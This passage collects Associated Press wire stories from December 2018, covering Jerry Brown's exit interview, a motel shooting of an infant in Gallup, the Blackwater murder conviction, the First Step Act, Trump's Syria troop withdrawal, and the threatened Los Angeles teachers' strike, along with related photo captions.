blind spot when it comes to oil because he keeps allowing drilling permits and new wells. Brown scoffs at the claims, saying the state's overall oil production has dropped steadily since the 1980s. He says simply stopping it won't halt demand and has pushed to make electric vehicles more accessible and for improved public transit. "The problem is burning oil, consuming it," he said. "The only way you stop that is electric cars, land use so you don't have to travel so far and other forms of reducing carbon emissions." He said climate change advocates still must be careful to not overplay their hand. He pointed to a planned fuel tax in France that led to violent protests. French President Emmanuel Macron early this month backed down on the tax, which critics said would hurt the working class. Brown said Macron didn't add enough rebates or tax credits to cushion the blow for low-income people. "You have to get the right idea, you have to be careful and nuanced and then you have to be very skillful in the execution, and you can fail in many different ways," Brown said. In a common theme, he ended the interview with a global wake-up call. "The threat of nuclear annihilation and climate change on a permanent basis looms, and therefore it is time for new leaders to rise up and make the case and mobilize the people for what needs to be done," he said. "What needs to be done is unprecedented, and therein lies the dilemma." In this Tuesday, Dec. 18, 2018 photo, California Gov. Jerry Brown discusses his time in the state's highest office during an interview with The Associated Press in Sacramento, Calif. Brown, a Democrat, will leave office Jan. 7 after serving a record four terms. (AP Photo/Rich Pedroncelli) GALLUP, N.M. (AP) - An infant who was shot in the face at a New Mexico motel this month is in an induced coma and will likely have severe health complications including hearing and vision loss as a result of her injuries, police said Wednesday. Gallup Police Officer Darius Johnson told The Associated Press in an interview that the 8-month-old girl was being treated at an Albuquerque hospital and appears to have lost hearing in her left ear and will likely lose her left eye. "We don't know much beyond that," Johnson said. Johnson was among the officers who responded to a chaotic scene at the Zia Motel in Gallup, New Mexico, on Dec. 8 after police received reports of gunshots. According to a police report, officers found Shayanne Nelson, 18, holding her infant daughter bleeding from the face and in a blanket and her 3-year-old boy beside her. A hysterical Nelson told authorities that she and her boyfriend, Tyrell Bitsilly, 21, were in the shower when her 3-year-old son found a gun and accidentally shot the infant. Nelson said she believed the gun may have been left in the room by someone who was in their hotel room earlier. No other adults were in the room at the time of the shooting. This combination of Saturday, Dec. 8, 2018 booking photos providing by McKinley County Adult Detention Center shows Shayanne Nelson, left, and Tyrell Bitsilly, right. Nelson's 8-month-old girl is fighting for her life after police say her 3-year-old brother accidentally shot her in the face Saturday in a Gallup, N.M., motel room while Nelson and her boyfriend Bitsilly were in a shower. Nelson and Bitsilly face child abuse charges. (McKinley County Adult Detention Center via AP) Casey Franchot told police he saw Bitsilly wiping the gun after the shooting. Franchot, a trained U.S. Army medic, said he was across the street from the motel and eating at a nearby fast food restaurant when he heard Nelson yell that her baby had been shot. "She was choking on her blood so I did my best to clear her airway," Franchot, 43, said in an interview. Nelson and Bitsilly face child abuse charges stemming from the shooting. Bitsilly also was charged with tampering with evidence. In addition, Bitsilly is facing charges in another case involving a gun and Nelson's children. Bitsilly was arrested in October after police say he fired a gun during an argument inside a car in downtown Gallup and was charged with aggravated assault with deadly weapon, child abuse, shooting from motor vehicle and tampering with evidence, court records said. Shanna Nelson, 39, the sister of Shayanne, told the AP that that Bitsilly shot his gun toward the car's floorboard as Shayanne Nelson was attempting to break up with him. "He has been emotionally and physically abusive toward her for months," the sister said. "He's controlling and has threatened to hurt our family if she break up with him." She said the father of the children died in a car accident last year. Shanna Nelson said her sister and the father of her children were engaged at the time of the accident. Shayanne Nelson often returned to Bitsilly because she had no place for her and her children to stay, Shanna Nelson said. She said her sister, like her, comes from a poor Navajo Nation family and members often struggle to find permanent homes. Bitsilly's attorney, John Bernitz, said he had not heard of abuse allegations and declined to comment about those allegations and the earlier charges. Lawyers for Nelson and Bitsilly convinced a judge Wednesday to postpone preliminary hearings in the criminal case so they can review new evidence that includes video interviews, a new police report, and footage from a surveillance camera. Bernitz said the video interviews gave conflicting information about what happened at the hotel but he did not elaborate. He has called the shooting a tragic accident, said that the hotel attracted people struggling with poverty and that a gun may have been left in the room. McKinley County Magistrate Judge Robert Baca rescheduled the hearings for Jan. 9. ___ Follow Russell Contreras on Twitter at http://twitter.com/russcontreras FILE -In this Dec. 12, 2018 file photo the Zia Motel in Gallup, N.M., sits on Historic Route 66. The medical condition of an 8-month-old girl who police say was shot in the face at the motel remains a mystery. The girl's mother Shayanne Nelson, says her 3-year-old son found a gun and accidentally shot the infant while Nelson and her boyfriend were in the shower. (Brandon N. Sanchez/Gallup Independent via AP, File) FILE - In this May 29, 2007, file photo, vehicles drive past in Zia Motel on Historic Route 66 in Gallup, N.M. The medical condition of an 8-month-old girl who police say was shot in the face at the motel remains a mystery. The girl's mother Shayanne Nelson, says her 3-year-old son found a gun and accidentally shot the infant while Nelson and her boyfriend were in the shower. (Brian Leddy/Gallup Independent via AP, File) This Saturday, Dec. 8, 2018 booking photo providing by McKinley County Adult Detention Center shows Shayanne Nelson. Nelson's 8-month-old girl is fighting for her life after police say her 3-year-old brother accidentally shot her in the face Saturday in a Gallup, N.M., motel room while Nelson and her boyfriend Tyrell Bitsilly were in a shower. Nelson and Bitsilly face child abuse charges. (McKinley County Adult Detention Center via AP) WASHINGTON (AP) - A former Blackwater security contractor was convicted Wednesday of murder at his third trial in the 2007 shooting of unarmed civilians in Iraq. Nicholas Slatten, 35, of Sparta, Tennessee, was found guilty of first-degree murder in Washington for his role in the shooting, which strained international relations and drew intense scrutiny of the role of American contractors in the Iraq War. Prosecutors charged that Slatten was the first to fire shots in the September 2007 massacre that killed 14 Iraqi civilians at a crowded traffic circle in Baghdad. They alleged that Slatten was unprovoked when he opened fire, first killing 19-year-old Ahmed Haithem Ahmed Al Rubia'y, who was driving his mother to an appointment, prosecutors said. In all, 10 men, two women and two boys, ages 9 and 11, were killed. Eighteen others were injured. The defense has argued that Slatten and other Blackwater contractors opened fire only after Al Rubia'y's sedan, seen as a potential suicide car bomb, began moving quickly toward their convoy. After the shooting stopped, no evidence of a bomb was found. In 2014, a jury convicted Slatten and three other contractors - Paul Alvin Slough, Evan Shawn Liberty and Dustin Laurent Heard- who were part of a four-vehicle convoy that was protecting State Department personnel in the area. An appeals court had overturned that conviction, saying he should have been tried separately from three other men. FILE - In this June 11, 2014, file photo, former Blackwater Worldwide guard Nicholas Slatten leaves federal court in Washington. Slatten has been convicted of murder at his third trial in the 2007 shooting of unarmed civilians in Iraq. (AP Photo/Cliff Owen, File) Slatten was retried last summer, but a mistrial was declared after the jury couldn't reach a unanimous verdict. The appeals court had ordered that Slatten's co-defendants be resentenced, and Slough, Liberty and Heard all remain in custody and are awaiting resentencing, prosecutors said. Slatten's sentencing date has not yet been set. COPENHAGEN, Denmark (AP) - The Latest on the slayings of two young European women in Morocco's Atlas Mountains: (all times local): 9:35 p.m. Moroccan prosecutors say a suspect arrested in the killing of two Scandinavian tourists allegedly is connected to a terrorist group. Morocco's state television reported Wednesday that authorities consider the slayings of the young women from Denmark and Norway to be a terrorist act. Local media reported that the suspect allegedly had links to the Islamic State group. The bodies of the women, who were in their 20s, were found Monday in the Atlas Mountains, a popular hiking destination. The killing has shocked Morocco, where attacks on foreigners are extremely rare. The Rabat public prosecutor's office said in a statement Wednesday that the one suspect arrested so far has affiliations to a terrorist group, without naming the group. Three other suspects have been identified and but are still on the run, a security official told The Associated Press. ____ 3:55 p.m. Authorities in Denmark and Norway have warned their citizens from hiking alone without local guides in Morocco after the bodies of two female Scandinavian tourists were found in the Atlas Mountains, a popular hiking destination. Danish police said Wednesday it had sent an officer to Morocco to assist in the investigation. The bodies were found in a remote mountainous region, 10 kilometers (6.2 miles) from the village of Imlil - often the starting point for treks to Mount Toubkal, North Africa's highest peak. Moroccan authorities say at least one man has been arrested after the two victims in their 20s from Denmark and Norway were discovered Monday. Local media report that investigators have video surveillance showing three suspects putting up a tent near the victims' tent and leaving the area after the slaying. TRAVERSE CITY, Mich. (AP) - The Latest on a Michigan panel's consideration of a proposal to allow construction of an oil pipeline tunnel beneath the waterway linking Lakes Huron and Michigan (all times local): 5:10 p.m. A plan to build an oil pipeline tunnel beneath a channel linking Lakes Huron and Michigan has won final approval. One week after it was established, a Michigan panel approved an agreement between outgoing Republican Gov. Rick Snyder's administration and the Canadian pipeline company Enbridge. It calls for drilling the 4-mile (6.4 kilometer) tunnel through bedrock under the Straits of Mackinac. The new pipeline segment will replace twin pipes along the lake bed. They are part of Enbridge's Line 5. The pipeline carries oil and natural gas liquids between Superior, Wisconsin, and Sarnia, Ontario. The unanimous approval from the three-member Mackinac Straits Corridor Authority accomplishes Snyder's goal of sealing the deal before leaving office this month. His successor, Democrat Gretchen Whitmer, has criticized the tunnel plan. east leg of the pipeline near St. Ignace as Enbridge prepares to test the east and west sides of the Line 5 pipeline under the Straits of Mackinac in Mackinaw City, Mich. Gov. Rick Snyder has signed legislation Wednesday, Dec. 12, 2018, establishing a panel to oversee a hotly disputed tunnel that will house an oil pipeline beneath the waterway linking Lake Huron and Lake Michigan. Snyder acted Wednesday, a day after the Republican-dominated Michigan Legislature gave the bill final approval. (Dale G Young/Detroit News via AP, File) ___ 8:50 a.m. A recently established state panel in Michigan could give final approval to a proposed oil pipeline tunnel beneath a crucial section of the Great Lakes. The Mackinac Straits Corridor Authority is scheduled to meet for the first time Wednesday in St. Ignace. The three-member panel is expected to consider recent agreements between Michigan Gov. Rick Snyder's administration and Enbridge Inc. The Canadian company wants to drill a tunnel through bedrock under the straits area connecting Lake Huron and Lake Michigan. The tunnel would hold a new section of Enbridge's Line 5, which carries oil and natural gas liquids between Superior, Wisconsin, and Sarnia, Ontario. It would replace a more than 4-mile-long (6.4-kilometer-long) dual segment of pipe that runs along the lakebed. Environmental groups oppose the tunnel and want Line 5 shut down. TOPEKA, Kan. (AP) - Two moderate Republican legislators in Kansas became Democrats on Wednesday, capping an unprecedented round of GOP defections in the Kansas City suburbs that soured on President Donald Trump and a close political ally of his in this year's race for governor. State Sen. Dinah Sykes and Rep. Stephanie Clayton joined two other moderate lawmakers who switched last week. All four women are from Johnson County, which is the state's most populous county and which Democratic Gov.-elect Laura Kelly carried in the November election. Kelly defeated conservative Republican Kris Kobach, the Kansas secretary of state who trumpeted his endorsement by Trump. Kansas City-area voters also showed their displeasure with the president by electing Democrat Sharice Davids, a Native American and LGBT lawyer, to Congress, ousting Republican incumbent Kevin Yoder. Clayton said her decision to leave the GOP was prompted by concerns that its leaders are not committed to boosting public school funding. She also acknowledged that her constituents, particularly women, are upset with Trump and said her discomfort with his policies helped pushed her to leave the GOP. "I hear every day from people who have been Republicans for their lives, lifelong, and they just said, 'I can't do this anymore. This is not what I stand for,' and that's how I felt," Sykes said. "I'm better served to focus on my job than trying to defend the Republican Party." In Oklahoma, state Rep. Johnny Tadlock , who represents a rural district in the state's southeast corner, switched to the Republican Party. In 2017, West Virginia Gov. Jim Justice also switched to the GOP in a state Trump won by nearly 42 percentage points. FILE - In this March 30, 2015 file photo, Rep. Stephanie Clayton, an Overland Park Republican on the House Federal and State Affairs committee, asked questions in Topeka, Kan. State Sen. Dinah Sykes, of Lenexa, and Clayton, of Overland Park, switched to the Democratic Party on Wednesday, Dec. 19, 2018, joining two other suburban Kansas City lawmakers who made the switch last week. The moderate Kansas Republican legislators said they believed they could be more effective legislators as Democrats. (Thad Allton/Topeka Capital-Journal via AP, File) Kansas Democrats have had a few high-profile party switches over the past 20 years, most notably in 2006, when Mark Parkinson , a former state GOP chairman, ran as a Democrat for lieutenant governor. He became governor in 2009 when then-Democratic Gov. Kathleen Sebelius resigned to become U.S. health and human services secretary. But before last week, only five legislators had switched parties in the past 50 years, four of them Democrats who became Republicans. A sixth lawmaker, state Sen. John Doll , a moderate from western Kansas, left the GOP in March and became an independent for an unsuccessful run for lieutenant governor. According to the state library, there's no record of four lawmakers switching parties in such a short span. Even so, Republicans will maintain supermajorities in both legislative chambers, slipping to 84-41 in the House and 28-11, with Doll as the one independent, in the Senate. Furthermore, the Legislature emerged from this year's elections more conservative, with GOP moderates losing ground to conservatives. "These are not surprising switches," said Kansas Republican Party Chairman Kelly Arnold, adding that the lawmakers worked and voted regularly with Democrats. "I think they're finally deciding that, you know, they don't need the Republican brand." Republicans enjoy a 3-to-2 voter registration advantage in Johnson County, but GOP moderates have remained a political force. Kelly carried Johnson County by nearly 17 percentage points and Davids won there by almost six percentage points. Even Democratic candidates for attorney general and state treasurer who lost by a wide margin statewide narrowly carried Johnson County. "If there was a blue wave in Kansas, it was in Johnson County," said state Senate Minority Leader Anthony Hensley, a Topeka Democrat. Patrick Miller, a University of Kansas political scientist, saw the results in Johnson County and the party switches as part of an ongoing national political realignment. "It's been moderate Republicans in suburbs becoming Democrats and conservative Democrats in rural areas becoming Republicans," Miller said. "It definitely predates Trump. It probably blew up and we noticed it more under Trump." Sykes and Clayton joined state Sen. Barbara Bollier and state Rep. Joy Koesten , who switched parties last week. Clayton won re-election last month as a Republican, but Koesten lost her GOP primary and will leave office in January. Sykes and Bollier are in the middle of four-year terms and face voters again in 2020. Sykes defeated a conservative incumbent in the Republican primary in 2016 in winning her seat. Clayton was first elected to the House in 2010 and helped organize a bipartisan Women's Caucus. "The suburban women that I represent are definitely turned off by the president," Clayton said. "They're disgusted with this burn-it-all-down attitude." ___ Follow John Hanna on Twitter: https://twitter.com/apjdhanna BIRMINGHAM, Ala. (AP) - Demonstrations that have targeted an Alabama city where police shot and killed a black man on Thanksgiving will be redirected toward state officials now investigating the shooting, organizers said Wednesday. Leaders speaking at a news conference said demonstrations targeting the Birmingham suburb of Hoover would now focus on state officials who are investigating the shooting death of Emantic "EJ" Bradford Jr. They promised protests at the homes and offices of Alabama Attorney General Steve Marshall and the head of the Alabama Law Enforcement Agency. A spokesman for Marshall, Alabama's top law enforcement official, declined comment. The change follows a meeting in which protest spokesman Iva Williams said officials in the city of Hoover agreed to consider several requests made by demonstrators, including the addition of a citizens review board and a diversity officer. Protest leader Carlos Chaverst Jr. said demonstrations were being halted temporarily in the city "in expectation the city of Hoover will do the things they told us they would do" City officials did not immediately respond to an email seeking comment. FILE - In this Nov. 27, 2018, file frame from video, April Pipkins holds a photograph of her deceased son, Emantic "EJ" Bradford Jr., during an interview in Birmingham, Ala. Alabama Attorney General Steve Marshall said Thursday, Dec. 13, that his office is taking over the investigation into the police killing of Emantic "EJ" Bradford Jr., a black man inside the state's largest shopping mall on Thanksgiving night. (AP Photo/Jay Reeves, File) An officer fatally shot Bradford after hearing gunfire at Hoover's Riverchase Galleria mall. Bradford had a gun and the officer shot after seeing it, but Bradford wasn't responsible for a shooting that wounded two people, authorities said. WASHINGTON (AP) - When Mitch McConnell returned to his home state of Kentucky, he couldn't escape the debate over criminal justice reform. Ads in favor of the Senate bill were running on television. Religious leaders, business executives and local politicians were talking about it. Even McConnell's beloved University of Louisville proved no sanctuary: It held a forum in support of the legislation. Much of the noise in Kentucky was no accident. It was encouraged and amplified by advocates who embarked on a single-minded campaign to sway the senate majority leader, recognizing his support as crucial to unlocking a historic overhaul of federal sentencing laws - a bill now on the precipice of becoming law. "We'd get into meetings and no one was thinking about the leader, and to me, that's the goal line," said Holly Harris, the director of the advocacy group Justice Action Network and a former Kentucky Republican Party official. "So we started working on voices that would be most impactful to the leader and going to places where he would notice us." Harris, who lives in Kentucky, enlisted the White House and other groups across the state to get McConnell's attention at home as President Donald Trump and other Republican supporters in Washington pushed him to bring the bill up. McConnell doesn't like to divide his caucus, and he had been hesitant to put the legislation on the floor, as a handful of Republicans were saying the bill was too soft on some criminals. "It was critical that he understand both the policy value of criminal justice reform and also the political," Harris said of McConnell, who is up for re-election in 2020. In this Dec. 11, 2018, photo, Senate Majority Leader Mitch McConnell, R-Ky., speaks at the Capitol in Washington. When McConnell returned to his home state of Kentucky, he couldn't escape the debate over criminal justice reform. As the Senate Majority Leader faced pressure in Washington to bring the bipartisan Senate bill for a vote, the issue proved decisive in Kentucky legislature races, became a talking point for state Republicans and had increasing support among the business community. (AP Photo/J. Scott Applewhite) Harris and others helped organize the forum at the University of Louisville, for example, with a roster of carefully selected speakers. The list included former Attorney General Michael Mukasey, former Utah Rep. Jason Chaffetz and Brett Tolman, a former U.S. attorney for Utah. It also included Sadiqa Reynolds, head of the Louisville Urban League, long an important constituency to McConnell. The forum came the day before rapper Kanye West visited the White House to talk about the issue, an event that garnered considerably more headlines. But Harris was focused on McConnell. "This is a serious man, and he wants voices that have gravity," Harris said. The White House helped in subtle ways. Jared Kushner, President Donald Trump's son-in-law who was lobbying McConnell in Washington to bring up the bill, also helped promote the issue locally. At one point, the press-shy Kushner unexpectedly joined a call with local reporters about polling data that showed support for the bill in Kentucky, surprising even those who had organized it. Kentucky Sen. Rand Paul also added pressure, doing appearances and meetings around the state. He did several of the events with his wife, Kelley, who visited rehabilitation centers and halfway houses that would be helped by the bill. Even with his fellow Kentuckians, the famously tight-lipped McConnell didn't hint at how he would move forward. While Democratic and Republican senators pressured him to bring up the legislation in Washington, he listened to friends in Kentucky who adopted a strategy of flooding him with information, but not pressuring too obviously or too hard. Josh Crawford of the Pegasus Institute, a Kentucky think tank with strong ties to McConnell, says that pressure from people or groups outside the state that demonized him for holding up the bill were not effective. "Mean tweets were not going to get him to move," Crawford said. Instead, Crawford lobbied for the legislation by approaching it as a conversation with McConnell in which repeatedly detailed how similar reforms have worked on the state level. "I do think localizing it was important to him," he said. "Reform efforts in Texas, or Georgia or South Carolina are good, but I think him seeing what has gone on here from a policy standpoint and politically helped." The bill, which overwhelmingly passed the Senate on Tuesday, gives federal judges more discretion when sentencing some drug offenders and boosts prisoner rehabilitation efforts. It follows efforts in several states, including Kentucky, to overhaul parts of the system. The legislation represents a huge shift from criminal policy when McConnell first came to the Senate in the 1980s. At that time, "tough on crime" was a popular Republican buzzword. Sen. Mike Lee, R-Utah, a top advocate for the legislation who pushed McConnell to bring it up, says he has seen the tenor shift even since he came to the Senate in 2011. Republicans, including some major GOP donors, have increasingly embraced the changes as a way to save taxpayer money, better rehabilitate prisoners and make sentencing fairer. "One of the most effective arguments we had in support of the legislation is that legislation like this has been enacted in a number of states," Lee said. McConnell likely took note of the political effect in his state, too, as Republican State Sen. Julie Raque Adams, who represents Louisville, was re-elected this year after successfully pushing state legislation to help female prisoners. She used the issue in campaign ads and won her race as several other GOP lawmakers in her area were defeated. A fellow Louisville grad, Raque Adams spoke to McConnell about the issue. "I communicated how important it was in my race, and how it really connected with people in the urban areas," she said. Despite all of the efforts, the bill appeared to have stalled in the Senate by early December, with only a few weeks left in the session. Harris scheduled a meeting with McConnell and brought a binder full of articles and other evidence that the issue was playing well in Kentucky. "I prepped for that meeting with McConnell like I was studying for the bar exam," Harris said. "We just kept saying, this issue is very important in Kentucky." Along with the efforts from Washington Republicans, including Trump, the Kentucky lobbying paid off. Not only did McConnell announce last week that he would bring up the bill, but it passed with 87 yes votes on Tuesday night - including the majority leader's. It now heads to the House, where Speaker Paul Ryan has said it will get a vote. McConnell was "the person who saved this bill," Harris said. "Ultimately the voices that are going to matter to him most are the ones back at home. That was our calculation" ___ Associated Press writer Jill Colvin contributed to this report. WASHINGTON (AP) - The Latest on President Donald Trump pulling U.S. troops out of Syria (all times local): 6:30 p.m. President Donald Trump is declaring victory against the Islamic State group in a new White House video explaining his sudden decision to pull U.S. troops out of Syria. Trump says in the video, "We have won against ISIS." And he says, "Now it's time for our troops to come back home." Officials announced Wednesday Trump would be pulling all 2,000 U.S. troops out of Syria, sparking alarm and outrage from Republican lawmakers. The president's sudden declaration of victory also contradicts his own experts' assessments of the situation on the ground. Defense Secretary Jim Mattis welcomes Vice President Mike Pence to the Pentagon, Wednesday, Dec. 19, 2018. (AP Photo/Manuel Balce Ceneta) Trump says it is "heartbreaking" to have to write letters and make calls to the loved ones of those killed in battle. He says, "They're all coming back and they're coming back now." __ 6:20 p.m. President Donald Trump is pulling all 2,000 U.S. troops out of Syria, officials announced Wednesday as the president suddenly declared victory over the Islamic State, contradicting his own experts' assessments and sparking surprise and outrage from his party's lawmakers who called his action rash and dangerous. The U.S. began airstrikes in Syria in 2014, and ground troops moved in the following year to battle the Islamic State, or ISIS, and train Syrian rebels in a country torn apart by civil war. Trump abruptly declared their mission accomplished in a tweet. "We have defeated ISIS in Syria, my only reason for being there during the Trump Presidency," he said as Vice President Mike Pence met with top leaders at the Pentagon. WASHINGTON (AP) - Questions and answers about the criminal justice bill that appears to be heading for approval by Congress and being signed into law by President Donald Trump: WHAT'S IN THE BILL? The bill enhances employment and training opportunities so that federal prisoners are better prepared to return to society. It gives judges more discretion when sentencing some drug offenders and eases mandatory minimum sentences. On the sentencing front, the bill reduces the life sentence for offenders with three convictions, or "three strikes," to 25 years. It reduces the mandatory minimum sentence for felony drug offenses to 15 years from 20. Another provision would allow about 2,600 federal prisoners sentenced for crack cocaine offenses before late 2010 the opportunity to petition for a reduced penalty. The bill also encourages prisoners to participate in programs designed to reduce the risk of recidivism, with the reward being the accumulation of credits that can be used to gain an earlier release to a halfway house or home confinement to finish out their sentence. It prohibits prisoners convicted of a wide range of serious offenses from earning such credits and gaining earlier release. Sen. Cory Booker, D-N.J., center, joins Sen. Chuck Grassley, R-Iowa, left, in a Instagram Live post as Sen. Mike Lee, R-Utah, right, watches before they participate in a news conference on Capitol Hill in Washington, Wednesday, Dec. 19, 2018, on prison reform legislation. A criminal justice bill passed in the Senate gives judges more discretion when sentencing some drug offenders and boosts prisoner rehabilitation efforts. (AP Photo/Susan Walsh) The measure also seeks to improve various aspects of prison life by requiring prisoners to be placed within 500 driving miles of their home, by banning the shackling of pregnant women and by guaranteeing free access to feminine hygiene products WHAT'S NOT IN THE BILL? Many advocacy groups wanted the changes easing the severity of mandatory minimum sentences to apply retroactively. That would mean a prisoner sentenced to life in prison under the "three strikes" rule could petition for the 25-year minimum that would be established under the legislation. But to get the backing of law enforcement groups, supporters agreed to make the changes apply to future offenders, with the one exception being the prisoners sentenced for crack cocaine offenses before late 2010. The National Fraternal Order of Police has held the position that making sentencing changes for drug traffickers retroactive sends a message that the justice system is not serious about keeping drug dealers out of communities. Its backing of the bill was viewed as a major breakthrough by sponsors. WHO SUPPORTED THE BILL AND WHO DIDN'T? A wide range of conservative and liberal groups backed it. The Faith and Freedom Coalition, which advocates for social conservatives, supported the bill. It also got support from FreedomWorks, which is widely associated with the tea party movement, and the Heritage Foundation, an influential conservative think tank. On the left, the American Civil Liberties Union lobbied for the legislation, as did the Leadership Conference on Civil and Human Rights. The National Fraternal Order of Police and International Association of Chiefs of Police also weighed in with support. But the National Sheriff's Association opposed the measure and described it as a "very dangerous bill." ARE ALL PRISONERS AFFECTED? The bill applies only to federal prisons, which house about 180,000 prisoners. That's fewer than 10 percent of all the inmates in the United States. WHY NOW? President Barack Obama was the first president to visit a federal prison while in office and sought to make criminal justice reform part of his legacy. He succeeded in making some changes to the criminal justice system with 2010 legislation that reduced the disparities between mandatory crack and powder cocaine sentences. But more expansive efforts faltered despite having significant bipartisan support. Indeed, many of the features of the First Step Act that passed the Senate on Tuesday were part of legislation introduced by Sen. Chuck Grassley, R-Iowa, in 2015. The 2015 bill passed overwhelmingly in the Senate Judiciary Committee, but stalled without getting a vote on the floor, with some Republicans adamantly opposed and a presidential election looming. Politics also played a part. "The Republicans here simply didn't want to give Obama a win," said Jesselyn McCurdy, a deputy director at the American Civil Liberties Union. President Donald Trump's support for the bill altered the political dynamic, according to longtime Republican and Democratic supporters of criminal justice reform. "We were stuck. Then came a breakthrough I never expected: the election of Donald Trump as president," said Sen. Dick Durbin, D-Ill. Trump's support gave political cover to wavering Republicans, with Sen. Tim Scott, R-S.C., describing Trump's efforts as "the only way to get the Republicans to the table, to start the conversation." Trump's son-in-law, Jared Kushner, also was credited with winning support for the bill. Durbin said Kushner "has a passion for prison reform" and "he wasted no time getting involved and engaged in the effort." TALLAHASSEE, Fla. (AP) - The Latest on a posthumous pardon for the Groveland Four (all times local): 6:55 p.m. A member of Florida's clemency board has requested the state begin the process to formally pardon four young African-American men who were wrongly accused of raping a white woman nearly 70 years ago. Chief Financial Officer Jimmy Patronis asked Wednesday that the case be brought before the clemency board. The clemency board consists of the governor and three other elected officials. Patronis is the only one who will remain on the board past early January. U.S. Sen. Marco Rubio has called the case of the Groveland Four a "horrifying injustice." It's not clear how long it will take the Florida Commission on Offender Review to do a clemency report on Earnest Thomas, Charles Greenlee, Samuel Shepherd and Walter Irvin. FILE - In this March 14, 2018, file photo, Sen. Marco Rubio, R-Fla., speaks during a hearing on school safety on Capitol Hill in Washington. Rubio is calling on Florida officials to formally pardon four young African-American men who were wrongly accused of raping a white woman nearly 70 years ago. (AP Photo/Jacquelyn Martin, File) Thomas was killed during a manhunt and the other three were convicted with dubious evidence. Shepherd was later killed by a sheriff who claimed he and Irvin tried to escape. ___ 4:40 a.m. U.S. Sen. Marco Rubio is calling on Florida officials to formally pardon four young African-American men who were wrongly accused of raping a white woman nearly 70 years ago. The Florida Republican made the request Tuesday on the floor of the Senate. The move is significant because GOP Florida Gov. Rick Scott and other Republicans on the state clemency board have refused to take up the pardon request. Scott was elected last month to the U.S. Senate and will soon join Rubio in Washington, D.C. Florida's incoming agriculture commissioner has already pledged to push for a posthumous pardon of Earnest Thomas, Charles Greenlee, Samuel Shepherd and Walter Irvin. Rubio said what happened to the four men was a "horrifying injustice" and still haunts Florida to this day. CHICAGO (AP) - A man is facing two felony weapons charges in connection with the deaths of two Chicago police officers who were struck and killed by a commuter train while they were chasing him. Chicago police said Wednesday that 24-year-old Edward Brown of Chicago is charged with reckless discharge of a firearm-endangerment and aggravated unlawful use of a weapon-loaded. He's due in bond court Thursday. Police have said Brown was being pursued by Officers Eduardo Marmolejo and Conrad Gary on the far South Side after ShotSpotter technology detected gunshots in the area. Police say the officers were aware of one train in the area but may not have heard or seen another train coming up behind them . Police say Brown was taken into custody by other officers, and a gun was recovered. This photo provided by the Chicago Police Department shows Edward Brown, 24. Brown is facing two felony weapons charges in connection with the deaths of two Chicago police officers who were struck and killed by a commuter train while they were chasing him. Chicago police said Wednesday, Dec. 19, 2018, that Brown is charged with reckless discharge of a firearm-endangerment and aggravated unlawful use of a weapon-loaded. He's due in bond court Thursday. (Chicago Police Department via AP) This undated photo provided by the Chicago Police Department shows Chicago Police Officer Eduardo Marmolejo. Marmolejo and another officer Conrad Gary were fatally struck by a train as they investigated a report of gunshots on the city's far South Side, Monday, Dec. 17, 2018, in Chicago. (Chicago Police Department via AP) This undated photo provided by the Chicago Police Department shows Chicago Police Officer Conrad Gary. Gary and another officer Eduardo Marmolejo were fatally struck by a train as they investigated a report of gunshots on the city's far South Side, Monday, Dec. 17, 2018, in Chicago. (Chicago Police Department via AP) Police officers work the scene where two officers were killed after they were struck by a South Shore train near 103rd Street and Dauphin Avenue on Monday, Dec. 17, 2018, in Chicago. Police spokesman Anthony Guglielmi posted on Twitter that the "devastating tragedy" occurred when the officers were investigating a shots-fired call. (Armando L. Sanchez/Chicago Tribune via AP) A Chicago police officer stands on the street following the procession with the bodies as two fallen Chicago police officers arrive at the medical examiner's office in Chicago, Tuesday morning, Dec. 18, 2018. Chicago police say two officers investigating a shots-fired call on the city's far South Side have died after being struck by a train.. (Jose M. Osorio/Chicago Tribune via AP) Mourners embrace as the procession with the bodies of two fallen Chicago police officers arrive at the medical examiner's office in Chicago, Tuesday morning, Dec. 18, 2018. Chicago police say two officers investigating a shots-fired call on the city's far South Side have died after being struck by a train. (Jose M. Osorio/Chicago Tribune via AP) Passengers sit on a train while police officers work the scene where two officers were killed after they were struck by a South Shore train near 103rd Street and Dauphin Avenue on Monday, Dec. 17, 2018, in Chicago. Police spokesman Anthony Guglielmi posted on Twitter that the "devastating tragedy" occurred when the officers were investigating a shots-fired call. (Armando L. Sanchez/Chicago Tribune via AP) The procession with the bodies of two fallen Chicago police officers arrives to the medical examiner's office in Chicago, Tuesday morning, Dec. 18, 2018. Chicago police say two officers investigating a shots-fired call on the city's far South Side have died after being struck by a train.. (Jose M. Osorio/Chicago Tribune via AP) Police investigate the scene where two officers were killed after they were struck by a South Shore train near 103rd Street and Dauphin Avenue on Monday, Dec. 17, 2018, in Chicago. Police spokesman Anthony Guglielmi posted on Twitter that the "devastating tragedy" occurred when the officers were investigating a shots-fired call. (Armando L. Sanchez/Chicago Tribune via AP) LOS ANGELES (AP) - Teachers in the nation's second-largest school district will go on strike next month if there's no settlement of their long-running contract dispute, union leaders said Wednesday. The announcement by United Teachers Los Angeles threatens the first strike against the Los Angeles Unified School District in nearly 30 years and follows about 20 months of negotiations. The union, which said it would strike on Jan. 10, argues that the district is hoarding a large reserve of $1.8 billion that could be used to pay teachers more, lower class sizes, improve conditions and add more full-time nurses at campuses. The union also is arguing for "common-sense regulation on charter schools." "We've reached the point where enough is enough," union President Alex Caputo-Pearl said at a news conference announcing the plan to strike. "We have watched the underfunding and the actions of privatizers undermine our students and our schools for too long," he said. "The civic institution of public education in Los Angeles is worth saving. It needs to be saved for the future of the city." In a news release on Tuesday, the district said "a strike would harm students, families and communities most in need." In this Saturday, Dec. 15, 2018, photo, thousands of teachers rally outside The Broad, a contemporary art museum downtown Los Angeles. Teachers in the nation's second-largest school district will go on strike next month if there's no settlement of its long-running contract dispute, union leaders said Wednesday, Dec. 19. The announcement by United Teachers Los Angeles threatens the first strike against the Los Angeles Unified School District in nearly 30 years and follows about 20 months of negotiations. (AP Photo/Damian Dovarganes) The district, which has more than 640,000 K-12 students, offered $30 million in additional funding to reduce class sizes and hire additional counselors, librarians and nurses, and said the union had agreed to a 6 percent salary raise. Caputo-Pearl denied agreeing to any terms regarding salary and said the union would be filing an unfair labor practice charge against the district "on that lie." "By dragging us through this process for 20 months, refusing to invest in our schools, the district has disrespected our students and disrespected us," he said. "For these reasons we have not accepted the district's offer to go back to the table." The State of California Public Employment Relations Board issued a complaint against the union this week for refusing to bargain in good faith. Much of the bad blood between the two sides centers around the district's superintendent, Austin Beutner, an investment banker and former Los Angeles deputy mayor without experience in education. The union argues that Beutner is trying to privatize the district, encouraging school closures and flipping public schools into charter schools. Charters are privately operated public schools that compete with the school system for students and the funds they 